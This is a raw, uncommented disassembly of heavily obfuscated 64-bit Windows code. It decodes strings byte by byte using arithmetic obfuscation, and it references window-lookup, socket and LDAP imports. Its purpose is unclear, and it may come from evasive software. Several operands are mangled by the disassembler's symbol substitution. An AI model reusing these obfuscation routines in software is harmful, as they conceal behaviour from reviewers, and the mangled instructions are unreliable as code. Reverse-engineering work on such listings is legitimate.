add dl, 0x2b
dec rbx
inc rbx
jmp 0x1400bb833
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x67
add r10b, 0x2f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x49
add r11b, r10b
mov byte [rbp + rbx + 0x180], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bb833
lea ecx, [rbx - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x41
inc r9
dec rbx
inc rbx
jmp 0x1400bb833
lea ecx, [rbx - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x21
dec rbx
inc rbx
jmp 0x1400bb833
movzx r10d, bl
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
add r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, dl
sub cl, al
add cl, 0x19
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x180], cl
add r8, r9
jmp 0x1400bc2dc
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x47
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bb833
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
add dl, 0x57
movzx r10d, bl
add dl, cl
add r10b, 0x13
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x7b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x180], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0xc]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x54
add r11b, cl
mov byte [rbp + rbx + 0x180], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x6d
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb833
add r10b, 0x5d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x75
jmp 0x1400bb830
add r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x13
jmp 0x1400bb820
lea rdx, [rbp + 0x17b30cc]
jmp 0x1400bc3f8
lea rdx, [rbp + 0x6417c5]
jmp 0x1400bc3f8
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x14022be10], rax
call fcn.1400a2ad0
mov rcx, qword [0x14022be88]
call fcn.14005dd80
test al, al
jne 0x1400bd0af
mov byte [rbp + 0x310], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x311], 0x5a
mov byte [rbp + 0x312], 0x53
mov byte [rbp + 0x313], 0x57
mov byte [rbp + 0x314], 0x5d
mov byte [rbp + 0x315], 0x59
mov byte [rbp + 0x316], 0x9c
mov byte [rbp + 0x317], Ordinal_45
mov byte [rbp + 0x318], Ordinal_50
mov byte [rbp + 0x319], 0x81
mov byte [rbp + 0x31a], Ordinal_79
mov byte [rbp + 0x31b], Ordinal_79
mov byte [rbp + 0x31c], Ordinal_79
mov byte [rbp + Ordinal_50d], 0x31
mov byte [rbp + 0x31e], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x31f], 0x44
mov byte [rbp + 0x320], Ordinal_79
mov byte [rbp + 0x321], 0x42
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_502], 0x32
mov byte [rbp + 0x323], Ordinal_79
mov byte [rbp + 0x324], Ordinal_143
mov byte [rbp + 0x325], 0x3f
mov byte [rbp + 0x326], Ordinal_79
mov byte [rbp + 0x327], 0x41
mov byte [rbp + 0x328], Ordinal_79
mov byte [rbp + 0x329], 0xb6
mov byte [rbp + 0x32a], Ordinal_200
mov byte [rbp + 0x32b], 0x59
mov byte [rbp + 0x32c], 0x52
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x32d], xmm0
mov dword [rbp + 0x33d], eax
mov word [rbp + 0x341], ax
movzx edx, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400bd097
movzx r11d, byte [rbp + rbx + 0x310]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400bd07f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bc56e
lea rcx, [rbx + 0x125e7]
movzx eax, dil
and al, cl
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x51
add dl, cl
jmp 0x1400bc5a8
je 0x1400bd001
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bcf76
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bcf47
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bcf0a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bcee8
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400bd067
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x1400bc5d8
lea edx, [r10 - 0xd]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x5b
add dl, r11b
jmp 0x1400bc610
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bcea6
inc rax
cmp r8, rax
je 0x1400bce84
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bce68
cmp r8, rcx
je 0x1400bce4c
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bcb68
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bcb4b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bcb26
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bcb04
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bcae7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bcacb
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bcaab
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bca8e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bca72
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bca41
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc620
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bd04b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bd02f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bc809
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bc7f0
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bc7d7
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bc9f7
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bc9b1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bc977
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bc951
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bc620
lea r8, [r9 + 0x28]
lea r9, [r8 + 1]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bc924
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bc904
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bc8e8
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bc8c8
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bc8a8
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bc88c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bc866
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bc83e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400bc822
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400bc620
lea r8, [r9 + 6]
lea r9, [r8 + 0x1000]
jmp 0x1400bc620
lea edx, [r10 + 0x6d]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 5
add dl, r11b
jmp 0x1400bc610
lea edx, [r10 - 0x61]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x59
add dl, r11b
jmp 0x1400bc5b0
lea edx, [r10 - 0x2f]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x49
add dl, r11b
jmp 0x1400bc540
lea ecx, [r10 - 0x68]
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x28
add dl, cl
jmp 0x1400bcebb
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bc523
sub r10b, 4
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400bc523
lea edx, [r10 + 0x2e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x42
add dl, cl
jmp 0x1400bcf23
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bcf5b
sub r10b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bcf5e
lea edx, [r10 - 0x3c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x5c
add dl, cl
jmp 0x1400bcf92
sub r10b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bcfbe
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
sub r10b, 0x5b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7d
mov byte [rbp + rbx + 0x310], dl
inc rbx
jmp 0x1400bc523
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1f
cmp r9, 0x64
jb 0x1400bc968
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400bcebb
lea ecx, [r10 + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3f
cmp r8, 0x61
jae 0x1400bce16
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400bcd17
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bc98c
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
lea rax, [r8 + r9]
cmp rax, 2
je 0x1400bce32
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400bcc60
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4d
jmp 0x1400bc9c6
sub r10b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400bcfbe
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcf92
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bcf5e
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x56
jmp 0x1400bcf5b
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcf23
sub r10b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x12
dec rbx
inc rbx
jmp 0x1400bc523
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400bc523
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcebb
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400bcb8b
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x51
jmp 0x1400bca0c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bcbc1
sub r10b, 0x1a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4a
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
inc rax
cmp r8, rax
jne 0x1400bcbe9
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bcfbe
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bcc0e
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400bcf5e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bcc31
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x1400bcf23
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bca0c
sub r10b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x16
dec rbx
inc rbx
jmp 0x1400bc523
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bcc83
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x11
jmp 0x1400bcebb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bcca6
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2b
jmp 0x1400bcf23
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bcccb
add r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x77
jmp 0x1400bcf5b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bccf0
sub r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x19
jmp 0x1400bcf5e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bc9c6
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x45
jmp 0x1400bcf92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bcd51
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
inc rax
cmp r8, rax
jne 0x1400bcd76
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcf92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bcd9b
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
jmp 0x1400bcf5e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bcdc1
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcf23
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bcdec
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400bc523
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc98c
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bcebb
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0xc
add cl, cl
add dl, cl
jmp 0x1400bcf23
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400bcf92
add r10b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x4b
jmp 0x1400bcfbe
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x31
jmp 0x1400bcf5b
add r10b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x75
dec rbx
inc rbx
jmp 0x1400bc523
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x47
sub r10b, 0xf
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x69
add r11b, r10b
mov byte [rbp + rbx + 0x310], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bc523
lea ecx, [rbx + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x61
inc r9
dec rbx
inc rbx
jmp 0x1400bc523
movzx r10d, bl
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1d
sub r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x39
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x310], r11b
jmp 0x1400bcf5b
lea ecx, [rbx - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bc523
lea rcx, [rbx + 0x80951]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x37
movzx r10d, bl
sub r10b, 0x73
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x25
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x310], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x74]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2c
add r11b, cl
mov byte [rbp + rbx + 0x310], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
lea rcx, [rbx + 0x371b5]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xd
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc523
add r10b, 3
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x15
jmp 0x1400bc520
add r10b, 0x35
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x73
jmp 0x1400bc510
lea rdx, [rbp + 0x1457a44]
mov rcx, qword [0x14022c178]
call fcn.1400c79c0
jmp 0x1400c3d79
lea rdx, [rbp + 0x106a02b]
mov rcx, qword [0x14022c178]
call fcn.1400c79c0
jmp 0x1400c3d79
lea rdx, [rbp + 0x310]
mov rcx, qword [0x14022c178]
call fcn.1400c79c0
jmp 0x1400c3d79
lea rdx, [0x140225f10]
lea rcx, [rbp + 0x60]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
movzx ecx, byte [rax]
mov byte [0x140227d7c], cl
lea rdx, [0x140225dd0]
lea rcx, [rbp + 0x80]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400c79ba
mov eax, dword [rdi + 0x30]
mov dword [0x1401d88a0], eax
lea rdx, [0x140225fb0]
lea rcx, [rbp + 0xa0]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
movzx ecx, byte [rax]
mov byte [0x140227d7b], cl
mov byte [0x140227d7a], 1
mov byte [rbp + 0x620], 0xde
mov byte [rbp + 0x621], Ordinal_211
mov byte [rbp + 0x622], 0xcc
mov byte [rbp + 0x623], 0xcb
mov byte [rbp + 0x624], Ordinal_211
mov byte [rbp + 0x625], gethostname
mov byte [rbp + 0x626], reloc.WS2_32.dll_listen
mov byte [rbp + 0x627], recv
mov byte [rbp + 0x628], 0xcc
mov byte [rbp + 0x629], Ordinal_211
mov byte [rbp + 0x62a], 0xf9
mov byte [rbp + 0x62b], reloc.WS2_32.dll_listen
mov byte [rbp + 0x62c], 0xcb
mov byte [rbp + 0x62d], Ordinal_211
mov byte [rbp + 0x62e], 0xc0
mov byte [rbp + 0x62f], Ordinal_211
mov byte [rbp + 0x630], 0xc1
mov byte [rbp + 0x631], 0xeb
mov byte [rbp + 0x632], 0xff
mov byte [rbp + 0x633], 0xfe
mov byte [rbp + 0x634], 0xed
mov byte [rbp + 0x635], 0xff
mov byte [rbp + 0x636], 0xe9
mov byte [rbp + 0x637], 0xfe
mov byte [rbp + 0x638], 0xf0
mov byte [rbp + 0x639], 0xf5
mov byte [rbp + 0x63a], 0xe7
mov byte [rbp + 0x63b], 0xfd
mov byte [rbp + 0x63c], 0xf6
mov byte [rbp + 0x63d], Ordinal_60
mov byte [rbp + 0x63e], 0xe1
mov byte [rbp + 0x63f], 0xf6
mov byte [rbp + 0x640], 0xf9
mov byte [rbp + 0x641], Ordinal_45
mov byte [rbp + 0x642], 0xfb
mov byte [rbp + 0x643], 0xec
mov byte [rbp + 0x644], Ordinal_211
mov byte [rbp + 0x645], 0xe6
mov byte [rbp + 0x646], 0xe2
mov byte [rbp + 0x647], 0xe4
mov byte [rbp + 0x648], 0xea
mov byte [rbp + 0x649], 0xf6
mov byte [rbp + 0x64a], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x64b], Ordinal_45
mov byte [rbp + 0x64c], 0xf1
mov byte [rbp + 0x64d], Ordinal_41
mov byte [rbp + 0x64e], Ordinal_35
mov byte [rbp + 0x64f], Ordinal_45
mov byte [rbp + 0x650], Ordinal_30
mov byte [rbp + 0x651], 0xa
mov byte [rbp + 0x652], recv
mov byte [rbp + 0x653], Ordinal_217
mov byte [rbp + 0x654], Ordinal_217
mov byte [rbp + 0x655], recv
mov byte [rbp + 0x656], 0xde
mov byte [rbp + 0x657], 0xdb
mov byte [rbp + 0x658], Ordinal_211
mov byte [rbp + 0x659], Ordinal_217
mov byte [rbp + 0x65a], Ordinal_217
mov byte [rbp + 0x65b], Ordinal_211
mov byte [rbp + 0x65c], Ordinal_217
mov byte [rbp + 0x65d], 0xda
mov byte [rbp + 0x65e], 0xef
mov byte [rbp + 0x65f], Ordinal_211
mov byte [rbp + 0x660], 0xef
mov byte [rbp + 0x661], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x662], Ordinal_200
mov byte [rbp + 0x663], Ordinal_211
mov byte [rbp + 0x664], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x665], Ordinal_30
mov byte [rbp + 0x666], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x667], 0xca
mov byte [rbp + 0x668], 0xf5
mov byte [rbp + 0x669], 0xfa
mov byte [rbp + 0x66a], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x66b], reloc.WS2_32.dll_socket
mov byte [rbp + 0x66c], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x66d], Ordinal_200
mov byte [rbp + 0x66e], reloc.WS2_32.dll_recv
mov byte [rbp + 0x66f], Ordinal_200
mov byte [rbp + 0x670], 9
mov byte [rbp + 0x671], Ordinal_45
mov byte [rbp + 0x672], gethostname
mov byte [rbp + 0x673], gethostname
mov byte [rbp + 0x674], 0xfb
mov byte [rbp + 0x675], gethostname
mov byte [rbp + 0x676], 0xf3
mov byte [rbp + 0x677], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x678], 0xfe
mov byte [rbp + 0x679], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x67a], 0xcb
mov byte [rbp + 0x67b], 0xf3
mov byte [rbp + 0x67c], Ordinal_41
mov byte [rbp + 0x67d], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x67e], 0xf6
mov byte [rbp + 0x67f], 0xf8
mov byte [rbp + 0x680], 0xf5
mov byte [rbp + 0x681], 0x3f
mov byte [rbp + 0x682], 0xec
mov byte [rbp + 0x683], 0xed
mov byte [rbp + 0x684], 0xe5
mov byte [rbp + 0x685], 0xe9
mov byte [rbp + 0x686], Ordinal_217
mov byte [rbp + 0x687], 0xec
mov byte [rbp + 0x688], 0xec
mov byte [rbp + 0x689], 0xee
mov byte [rbp + 0x68a], gethostname
mov byte [rbp + 0x68b], gethostname
mov byte [rbp + 0x68c], 0xe0
mov byte [rbp + 0x68d], 0xe0
mov byte [rbp + 0x68e], 0xeb
mov byte [rbp + 0x68f], 0xdf
mov byte [rbp + 0x690], 0xe2
mov byte [rbp + 0x691], Ordinal_79
mov byte [rbp + 0x692], 0x9f
mov byte [rbp + 0x693], 0xa2
mov byte [rbp + 0x694], 0xa2
mov byte [rbp + 0x695], 0x9f
mov byte [rbp + 0x696], 0xa5
mov byte [rbp + 0x697], 0x9b
mov byte [rbp + 0x698], 0x9d
mov byte [rbp + 0x699], 0x46
mov byte [rbp + 0x69a], 0x90
mov byte [rbp + 0x69b], 0xe3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x69c], xmm0
mov dword [rbp + 0x6ac], eax
mov word [rbp + 0x6b0], ax
mov byte [rbp + 0x6b2], al
movabs rsi, 0x56ab0d455395f34f
movabs r14, 0xc03776ff0458dc7
movabs r12, 0x5ead5ce54919a729
movabs r15, 0x40127cffac1d9ed
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x93
jae 0x1400be0f4
movzx r11d, byte [rbp + rbx + 0x620]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400be0eb
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400bd5ab
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x29
jmp 0x1400bd5e5
je 0x1400be080
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bdffd
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bdfd1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bdfb8
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bdf72
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400be0e2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400bd619
lea ecx, [r10 + 0x7b]
movzx eax, cl
